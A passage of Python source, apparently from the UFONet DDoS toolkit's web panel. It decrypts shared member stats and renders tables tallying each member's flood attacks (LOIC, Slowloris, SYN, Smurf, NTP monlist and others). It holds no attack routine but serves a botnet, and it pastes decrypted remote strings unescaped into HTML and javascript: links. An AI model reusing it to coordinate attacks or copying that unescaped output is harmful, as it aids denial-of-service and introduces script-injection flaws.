  4406. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_monlist' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('monlist','"+str(grid_key)+"')>MONLIST:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  4407. grid_key = pGet["grid_key"]
  4408. f = open("/tmp/out", "w")
  4409. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  4410. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID
  4411. if grid_msg_sep in m:
  4412. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4)
  4413. m = m.split(grid_msg_sep)
  4414. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  4415. grid_nickname = m[0] # nickname
  4416. self.decrypt(grid_key, grid_nickname)
  4417. if self.decryptedtext:
  4418. grid_nickname = self.decryptedtext
  4419. else:
  4420. grid_nickname = nodec_text
  4421. unknown_members = unknown_members + 1 # add members as unknown
  4422. self.decryptedtext = "" # clean decryptedtext buffer
  4423. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  4424. grid_nickname = "Anonymous"
  4425. else:
  4426. grid_nickname = str(grid_nickname) # nickname
  4427. grid_ranking = m[1] # ranking
  4428. self.decrypt(grid_key, grid_ranking)
  4429. if self.decryptedtext:
  4430. try:
  4431. grid_ranking = int(self.decryptedtext)
  4432. except:
  4433. grid_ranking = nodec_text
  4434. else:
  4435. grid_ranking = nodec_text
  4436. self.decryptedtext = "" # clean decryptedtext buffer
  4437. if grid_ranking == 1: #Rookie
  4438. grid_ranking = "<font color='white' size='4'>*</font>"
  4439. member_1 = member_1 + 1
  4440. elif grid_ranking == 2: # Mercenary
  4441. grid_ranking = "<font color='cyan' size='4'>**</font>"
  4442. member_2 = member_2 + 1
  4443. elif grid_ranking == 3: # Bandit
  4444. grid_ranking = "<font color='blueviolet' size='4'>***</font>"
  4445. member_3 = member_3 + 1
  4446. elif grid_ranking == 4: # UFOmmander!
  4447. grid_ranking = "<font color='blue' size='4'>****</font>"
  4448. member_4 = member_4 + 1
  4449. elif grid_ranking == 5: # UFOl33t!
  4450. grid_ranking = "<font color='red' size='4'>&#x25BC;</font>"
  4451. member_5 = member_5 + 1
  4452. else:
  4453. grid_ranking = nodec_text
  4454. grid_totalchargo = m[2] # total chargo
  4455. self.decrypt(grid_key, grid_totalchargo)
  4456. if self.decryptedtext:
  4457. grid_totalchargo = self.decryptedtext
  4458. else:
  4459. grid_totalchargo = nodec_text
  4460. self.decryptedtext = "" # clean decryptedtext buffer
  4461. try: # parse for int
  4462. grid_totalchargo = int(grid_totalchargo)
  4463. mothership_chargo = mothership_chargo + grid_totalchargo
  4464. except:
  4465. grid_totalchargo = nodec_text
  4466. grid_dorking = m[3] # dorking
  4467. self.decrypt(grid_key, grid_dorking)
  4468. if self.decryptedtext:
  4469. grid_dorking = self.decryptedtext
  4470. else:
  4471. grid_dorking = nodec_text
  4472. self.decryptedtext = "" # clean decryptedtext buffer
  4473. try: # parse for int
  4474. grid_dorking = int(grid_dorking)
  4475. mothership_dorking = mothership_dorking + grid_dorking
  4476. except:
  4477. grid_dorking = nodec_text
  4478. grid_transferred = m[4] # transferred
  4479. self.decrypt(grid_key, grid_transferred)
  4480. if self.decryptedtext:
  4481. grid_transferred = self.decryptedtext
  4482. else:
  4483. grid_transferred = nodec_text
  4484. self.decryptedtext = "" # clean decryptedtext buffer
  4485. try: # parse for int
  4486. grid_transferred = int(grid_transferred)
  4487. mothership_transferred = mothership_transferred + grid_transferred
  4488. except:
  4489. grid_transferred = nodec_text
  4490. grid_maxchargo = m[5] # maxchargo
  4491. self.decrypt(grid_key, grid_maxchargo)
  4492. if self.decryptedtext:
  4493. grid_maxchargo = self.decryptedtext
  4494. else:
  4495. grid_maxchargo = nodec_text
  4496. self.decryptedtext = "" # clean decryptedtext buffer
  4497. try: # parse for int
  4498. grid_maxchargo = int(grid_maxchargo)
  4499. mothership_maxchargo = mothership_maxchargo + grid_maxchargo
  4500. except:
  4501. grid_maxchargo = nodec_text
  4502. grid_missions = m[6] # missions
  4503. self.decrypt(grid_key, grid_missions)
  4504. if self.decryptedtext:
  4505. grid_missions = self.decryptedtext
  4506. else:
  4507. grid_missions = nodec_text
  4508. self.decryptedtext = "" # clean decryptedtext buffer
  4509. try: # parse for int
  4510. grid_missions = int(grid_missions)
  4511. mothership_missions = mothership_missions + grid_missions
  4512. except:
  4513. grid_missions = nodec_text
  4514. grid_attacks = m[7] # attacks
  4515. self.decrypt(grid_key, grid_attacks)
  4516. if self.decryptedtext:
  4517. grid_attacks = self.decryptedtext
  4518. else:
  4519. grid_attacks = nodec_text
  4520. self.decryptedtext = "" # clean decryptedtext buffer
  4521. try: # parse for int
  4522. grid_attacks = int(grid_attacks)
  4523. mothership_attacks = mothership_attacks + grid_attacks
  4524. except:
  4525. grid_attacks = nodec_text
  4526. grid_loic = m[8] # loic
  4527. self.decrypt(grid_key, grid_loic)
  4528. if self.decryptedtext:
  4529. grid_loic = self.decryptedtext
  4530. else:
  4531. grid_loic = nodec_text
  4532. self.decryptedtext = "" # clean decryptedtext buffer
  4533. try: # parse for int
  4534. grid_loic = int(grid_loic)
  4535. mothership_loic = mothership_loic + grid_loic
  4536. except:
  4537. grid_loic = nodec_text
  4538. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  4539. grid_loris = m[9] # loris
  4540. self.decrypt(grid_key, grid_loris)
  4541. if self.decryptedtext:
  4542. grid_loris = self.decryptedtext
  4543. else:
  4544. grid_loris = nodec_text
  4545. self.decryptedtext = "" # clean decryptedtext buffer
  4546. try: # parse for int
  4547. grid_loris = int(grid_loris)
  4548. mothership_loris = mothership_loris + grid_loris
  4549. except:
  4550. grid_loris = nodec_text
  4551. else:
  4552. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  4553. self.decrypt(grid_key, grid_loris)
  4554. if self.decryptedtext:
  4555. grid_loris = self.decryptedtext
  4556. else:
  4557. grid_loris = nodec_text
  4558. self.decryptedtext = "" # clean decryptedtext buffer
  4559. try: # parse for int
  4560. grid_loris = int(grid_loris)
  4561. mothership_loris = mothership_loris + grid_loris
  4562. except:
  4563. grid_loris = nodec_text
  4564. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  4565. grid_ufosyn = m[10] # ufosyn
  4566. self.decrypt(grid_key, grid_ufosyn)
  4567. if self.decryptedtext:
  4568. grid_ufosyn = self.decryptedtext
  4569. else:
  4570. grid_ufosyn = nodec_text
  4571. self.decryptedtext = "" # clean decryptedtext buffer
  4572. try: # parse for int
  4573. grid_ufosyn = int(grid_ufosyn)
  4574. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4575. except:
  4576. grid_ufosyn = nodec_text
  4577. else:
  4578. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  4579. self.decrypt(grid_key, grid_ufosyn)
  4580. if self.decryptedtext:
  4581. grid_ufosyn = self.decryptedtext
  4582. else:
  4583. grid_ufosyn = nodec_text
  4584. self.decryptedtext = "" # clean decryptedtext buffer
  4585. try: # parse for int
  4586. grid_ufosyn = int(grid_ufosyn)
  4587. mothership_ufosyn = mothership_ufosyn + grid_ufosyn
  4588. except:
  4589. grid_ufosyn = nodec_text
  4590. if version > 17 or version == 17 or version == 16 or version == 15:
  4591. grid_spray = m[11] # spray
  4592. self.decrypt(grid_key, grid_spray)
  4593. if self.decryptedtext:
  4594. grid_spray = self.decryptedtext
  4595. else:
  4596. grid_spray = nodec_text
  4597. self.decryptedtext = "" # clean decryptedtext buffer
  4598. try: # parse for int
  4599. grid_spray = int(grid_spray)
  4600. mothership_spray = mothership_spray + grid_spray
  4601. except:
  4602. grid_spray = nodec_text
  4603. else:
  4604. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  4605. self.decrypt(grid_key, grid_spray)
  4606. if self.decryptedtext:
  4607. grid_spray = self.decryptedtext
  4608. else:
  4609. grid_spray = nodec_text
  4610. self.decryptedtext = "" # clean decryptedtext buffer
  4611. try: # parse for int
  4612. grid_spray = int(grid_spray)
  4613. mothership_spray = mothership_spray + grid_spray
  4614. except:
  4615. grid_spray = nodec_text
  4616. if version > 17 or version == 17 or version == 16 or version == 15:
  4617. grid_smurf = m[12] # smurf
  4618. self.decrypt(grid_key, grid_smurf)
  4619. if self.decryptedtext:
  4620. grid_smurf = self.decryptedtext
  4621. else:
  4622. grid_smurf = nodec_text
  4623. self.decryptedtext = "" # clean decryptedtext buffer
  4624. try: # parse for int
  4625. grid_smurf = int(grid_smurf)
  4626. mothership_smurf = mothership_smurf + grid_smurf
  4627. except:
  4628. grid_smurf = nodec_text
  4629. else:
  4630. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  4631. self.decrypt(grid_key, grid_smurf)
  4632. if self.decryptedtext:
  4633. grid_smurf = self.decryptedtext
  4634. else:
  4635. grid_smurf = nodec_text
  4636. self.decryptedtext = "" # clean decryptedtext buffer
  4637. try: # parse for int
  4638. grid_smurf = int(grid_smurf)
  4639. mothership_smurf = mothership_smurf + grid_smurf
  4640. except:
  4641. grid_smurf = nodec_text
  4642. if version > 17 or version == 17 or version == 16 or version == 15:
  4643. grid_xmas = m[13] # xmas
  4644. self.decrypt(grid_key, grid_xmas)
  4645. if self.decryptedtext:
  4646. grid_xmas = self.decryptedtext
  4647. else:
  4648. grid_xmas = nodec_text
  4649. self.decryptedtext = "" # clean decryptedtext buffer
  4650. try: # parse for int
  4651. grid_xmas = int(grid_xmas)
  4652. mothership_xmas = mothership_xmas + grid_xmas
  4653. except:
  4654. grid_xmas = nodec_text
  4655. else:
  4656. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  4657. self.decrypt(grid_key, grid_xmas)
  4658. if self.decryptedtext:
  4659. grid_xmas = self.decryptedtext
  4660. else:
  4661. grid_xmas = nodec_text
  4662. self.decryptedtext = "" # clean decryptedtext buffer
  4663. try: # parse for int
  4664. grid_xmas = int(grid_xmas)
  4665. mothership_xmas = mothership_xmas + grid_xmas
  4666. except:
  4667. grid_xmas = nodec_text
  4668. if version > 17 or version == 17 or version == 16:
  4669. grid_nuke = m[14] # nuke
  4670. self.decrypt(grid_key, grid_nuke)
  4671. if self.decryptedtext:
  4672. grid_nuke = self.decryptedtext
  4673. else:
  4674. grid_nuke = nodec_text
  4675. self.decryptedtext = "" # clean decryptedtext buffer
  4676. try: # parse for int
  4677. grid_nuke = int(grid_nuke)
  4678. mothership_nuke = mothership_nuke + grid_nuke
  4679. except:
  4680. grid_nuke = nodec_text
  4681. else:
  4682. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  4683. self.decrypt(grid_key, grid_nuke)
  4684. if self.decryptedtext:
  4685. grid_nuke = self.decryptedtext
  4686. else:
  4687. grid_nuke = nodec_text
  4688. self.decryptedtext = "" # clean decryptedtext buffer
  4689. try: # parse for int
  4690. grid_nuke = int(grid_nuke)
  4691. mothership_nuke = mothership_nuke + grid_nuke
  4692. except:
  4693. grid_nuke = nodec_text
  4694. if version > 17 or version == 17:
  4695. grid_tachyon = m[15] # tachyon
  4696. self.decrypt(grid_key, grid_tachyon)
  4697. if self.decryptedtext:
  4698. grid_tachyon = self.decryptedtext
  4699. else:
  4700. grid_tachyon = nodec_text
  4701. self.decryptedtext = "" # clean decryptedtext buffer
  4702. try: # parse for int
  4703. grid_tachyon = int(grid_tachyon)
  4704. mothership_tachyon = mothership_tachyon + grid_tachyon
  4705. except:
  4706. grid_tachyon = nodec_text
  4707. else:
  4708. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  4709. self.decrypt(grid_key, grid_tachyon)
  4710. if self.decryptedtext:
  4711. grid_tachyon = self.decryptedtext
  4712. else:
  4713. grid_tachyon = nodec_text
  4714. self.decryptedtext = "" # clean decryptedtext buffer
  4715. try: # parse for int
  4716. grid_tachyon = int(grid_tachyon)
  4717. mothership_tachyon = mothership_tachyon + grid_tachyon
  4718. except:
  4719. grid_tachyon = nodec_text
  4720. if version > 17:
  4721. grid_monlist = m[16] # monlist
  4722. self.decrypt(grid_key, grid_monlist)
  4723. if self.decryptedtext:
  4724. grid_monlist = self.decryptedtext
  4725. else:
  4726. grid_monlist = nodec_text
  4727. self.decryptedtext = "" # clean decryptedtext buffer
  4728. try: # parse for int
  4729. grid_monlist = int(grid_monlist)
  4730. mothership_monlist = mothership_monlist + grid_monlist
  4731. except:
  4732. grid_monlist = nodec_text
  4733. else:
  4734. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  4735. self.decrypt(grid_key, grid_monlist)
  4736. if self.decryptedtext:
  4737. grid_monlist = self.decryptedtext
  4738. else:
  4739. grid_monlist = nodec_text
  4740. self.decryptedtext = "" # clean decryptedtext buffer
  4741. try: # parse for int
  4742. grid_monlist = int(grid_monlist)
  4743. mothership_monlist = mothership_monlist + grid_monlist
  4744. except:
  4745. grid_monlist = nodec_text
  4746. if version > 17:
  4747. grid_contact = m[17] # contact
  4748. self.decrypt(grid_key, grid_contact)
  4749. if self.decryptedtext:
  4750. grid_contact = self.decryptedtext
  4751. else:
  4752. grid_contact = nodec_text
  4753. self.decryptedtext = "" # clean decryptedtext buffer
  4754. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[17] = grid_contact (>str3<str120)
  4755. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4756. else:
  4757. try:
  4758. if " " in grid_contact: # m[17] = grid_contact
  4759. grid_contact = grid_contact.replace(" ","")
  4760. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4761. except:
  4762. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4763. try:
  4764. grid_id = m[18] # id
  4765. except:
  4766. grid_id = '6666666666666666666666666666666666666' # fake id
  4767. elif version == 17:
  4768. grid_contact = m[16] # contact
  4769. self.decrypt(grid_key, grid_contact)
  4770. if self.decryptedtext:
  4771. grid_contact = self.decryptedtext
  4772. else:
  4773. grid_contact = nodec_text
  4774. self.decryptedtext = "" # clean decryptedtext buffer
  4775. grid_contact = str(grid_contact) # contact
  4776. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[16] = grid_contact (>str3<str120)
  4777. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4778. else:
  4779. try:
  4780. if " " in grid_contact: # m[16] = grid_contact
  4781. grid_contact = grid_contact.replace(" ","")
  4782. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4783. except:
  4784. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4785. try:
  4786. grid_id = m[17] # id
  4787. except:
  4788. grid_id = '6666666666666666666666666666666666666' # fake id
  4789. elif version == 16:
  4790. grid_contact = m[15] # contact
  4791. self.decrypt(grid_key, grid_contact)
  4792. if self.decryptedtext:
  4793. grid_contact = self.decryptedtext
  4794. else:
  4795. grid_contact = nodec_text
  4796. self.decryptedtext = "" # clean decryptedtext buffer
  4797. grid_contact = str(grid_contact) # contact
  4798. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[15] = grid_contact (>str3<str120)
  4799. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4800. else:
  4801. try:
  4802. if " " in grid_contact: # m[15] = grid_contact
  4803. grid_contact = grid_contact.replace(" ","")
  4804. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4805. except:
  4806. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4807. try:
  4808. grid_id = m[16] # id
  4809. except:
  4810. grid_id = '6666666666666666666666666666666666666' # fake id
  4811. elif version == 15:
  4812. grid_contact = m[14] # contact
  4813. self.decrypt(grid_key, grid_contact)
  4814. if self.decryptedtext:
  4815. grid_contact = self.decryptedtext
  4816. else:
  4817. grid_contact = nodec_text
  4818. self.decryptedtext = "" # clean decryptedtext buffer
  4819. grid_contact = str(grid_contact) # contact
  4820. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[14] = grid_contact (>str3<str120)
  4821. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4822. else:
  4823. try:
  4824. if " " in grid_contact: # m[14] = grid_contact
  4825. grid_contact = grid_contact.replace(" ","")
  4826. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4827. except:
  4828. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4829. try:
  4830. grid_id = m[15] # id
  4831. except:
  4832. grid_id = '6666666666666666666666666666666666666' # fake id
  4833. elif version == 12:
  4834. grid_contact = m[11] # contact
  4835. self.decrypt(grid_key, grid_contact)
  4836. if self.decryptedtext:
  4837. grid_contact = self.decryptedtext
  4838. else:
  4839. grid_contact = nodec_text
  4840. self.decryptedtext = "" # clean decryptedtext buffer
  4841. grid_contact = str(grid_contact) # contact
  4842. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[11] = grid_contact (>str3<str120)
  4843. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4844. else:
  4845. try:
  4846. if " " in grid_contact: # m[11] = grid_contact
  4847. grid_contact = grid_contact.replace(" ","")
  4848. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4849. except:
  4850. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4851. try:
  4852. grid_id = m[12] # id
  4853. except:
  4854. grid_id = '6666666666666666666666666666666666666' # fake id
  4855. elif version == 11:
  4856. grid_contact = m[10] # contact
  4857. self.decrypt(grid_key, grid_contact)
  4858. if self.decryptedtext:
  4859. grid_contact = self.decryptedtext
  4860. else:
  4861. grid_contact = nodec_text
  4862. self.decryptedtext = "" # clean decryptedtext buffer
  4863. grid_contact = str(grid_contact) # contact
  4864. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[10] = grid_contact (>str3<str120)
  4865. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4866. else:
  4867. try:
  4868. if " " in grid_contact: # m[10] = grid_contact
  4869. grid_contact = grid_contact.replace(" ","")
  4870. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4871. except:
  4872. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4873. try:
  4874. grid_id = m[11] # id
  4875. except:
  4876. grid_id = '6666666666666666666666666666666666666' # fake id
  4877. elif version == 10:
  4878. grid_contact = m[9] # contact
  4879. self.decrypt(grid_key, grid_contact)
  4880. if self.decryptedtext:
  4881. grid_contact = self.decryptedtext
  4882. else:
  4883. grid_contact = nodec_text
  4884. self.decryptedtext = "" # clean decryptedtext buffer
  4885. grid_contact = str(grid_contact) # contact
  4886. if len(grid_contact) > 120 or len(grid_contact) < 3: # m[9] = grid_contact (>str3<str120)
  4887. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4888. else:
  4889. try:
  4890. if " " in grid_contact: # m[9] = grid_contact
  4891. grid_contact = grid_contact.replace(" ","")
  4892. grid_contact = "<a href=javascript:alert('"+str(grid_contact)+"');>View</a>" # js contact view
  4893. except:
  4894. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4895. try:
  4896. grid_id = m[10] # id
  4897. except:
  4898. grid_id = '6666666666666666666666666666666666666' # fake id
  4899. else:
  4900. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>" # js error contact view
  4901. grid_id = '6666666666666666666666666666666666666' # fake id
  4902. try: # parsing for valid stream struct
  4903. grid_ranking = str(grid_ranking)
  4904. if grid_ranking == nodec_text: # hide any data when user is encrypted
  4905. grid_contact = "<a href=javascript:alert('UNKNOWN!');>View</a>"
  4906. grid_table += "<tr><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(nodec_text)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  4907. else:
  4908. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  4909. except:
  4910. grid_table += "<tr><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td><td align='center'>ERROR!</td></tr>"
  4911. grid_table += "</table><br>"
  4912. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  4913. mother_table = "<center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td align='right'><font color='orange' size='4'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td align='right'><font color='white' size='4'>"+str(member_1)+"</font></td><td><font color='cyan' size='4'>**</font></td><td align='right'><font color='cyan' size='4'>"+str(member_2)+"</font></td><td><font color='blueviolet' size='4'>***</font></td><td align='right'><font color='blueviolet' size='4'>"+str(member_3)+"</font></td><td><font color='blue' size='4'>****</font></td><td align='right'><font color='blue' size='4'>"+str(member_4)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td align='right'><font color='red' size='4'>"+str(member_5)+"</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>MISSIONS:</td><td align='right'>"+str(mothership_missions)+"</td><td>ATTACKS:</td><td align='right'>"+str(mothership_attacks)+"</td><td>CHARGO (ACTIVE!):</td><td align='right'>"+str(mothership_chargo)+"</td><td>DORKING:</td><td align='right'>"+str(mothership_dorking)+"</td><td>TRANSF:</td><td align='right'>"+str(mothership_transferred)+"</td><td>MAX.CHARGO:</td><td align='right'>"+str(mothership_maxchargo)+"</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1'><tr><td>LOIC:</td><td align='right'>"+str(mothership_loic)+"</td><td>LORIS:</td><td align='right'>"+str(mothership_loris)+"</td><td>UFOSYN:</td><td align='right'>"+str(mothership_ufosyn)+"</td><td>SPRAY:</td><td align='right'>"+str(mothership_spray)+"</td><td>SMURF:</td><td align='right'>"+str(mothership_smurf)+"</td></tr><tr><td>XMAS:</td><td align='right'>"+str(mothership_xmas)+"</td><td>NUKE:</td><td align='right'>"+str(mothership_nuke)+"</td><td>TACHYON:</td><td align='right'>"+str(mothership_tachyon)+"</td><td>MONLIST:</td><td align='right'>"+str(mothership_monlist)+"</td></tr></table><br><hr><br>"
  4914. f.write(mother_table)
  4915. f.write(grid_table)
  4916. f.write(end_mark)
  4917. f.close()
  4918. else: # not valid stream data
  4919. pass
  4920. if page == "/cmd_decrypt_grid_update":
  4921. if not os.path.exists('/tmp/out'):
  4922. open('/tmp/out', 'w').close()
  4923. with open('/tmp/out', 'r') as f:
  4924. self.pages["/cmd_decrypt_grid_update"] = "<pre>"+f.read()+"<pre>"
  4925. if page == "/cmd_decrypt_wargames":
  4926. self.pages["/cmd_decrypt_wargames"] = "<pre>Waiting for decrypting results...</pre>"
  4927. wargames_join_flag = False # anti-join flag for non decrypted wargames
  4928. try:
  4929. wargames_deckey = pGet["wargames_deckey"]
  4930. except:
  4931. wargames_deckey = ""
  4932. end_mark = "[Info] [AI] End of decryption."
  4933. if wargames_deckey is not "": # wargames decryption
  4934. nodec_text = "KEY?"
  4935. try: # read global army supply from configuration file (json)
  4936. with open(self.mothership_supplycfg_file) as data_file:
  4937. data = json.load(data_file)
  4938. except:
  4939. if os.path.exists(self.mothership_supplycfg_file) == True:
  4940. print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n')
  4941. return
  4942. else: # generate default global army supply configuration file
  4943. print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
  4944. with open(self.mothership_supplycfg_file, "w") as f:
  4945. json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4)
  4946. with open(self.mothership_supplycfg_file) as data_file:
  4947. data = json.load(data_file)
  4948. self.supply_botnet = data["botnet"]
  4949. self.supply_loic = data["loic"]
  4950. self.supply_loris = data["loris"]
  4951. self.supply_ufosyn = data["ufosyn"]
  4952. self.supply_spray = data["spray"]
  4953. self.supply_smurf = data["smurf"]
  4954. self.supply_xmas = data["xmas"]
  4955. self.supply_nuke = data["nuke"]
  4956. self.supply_tachyon = data["tachyon"]
  4957. self.supply_monlist = data["monlist"]
  4958. f = open(self.wargames_file,"r")
  4959. ls = f.readlines()
  4960. f.close()
  4961. if ls:
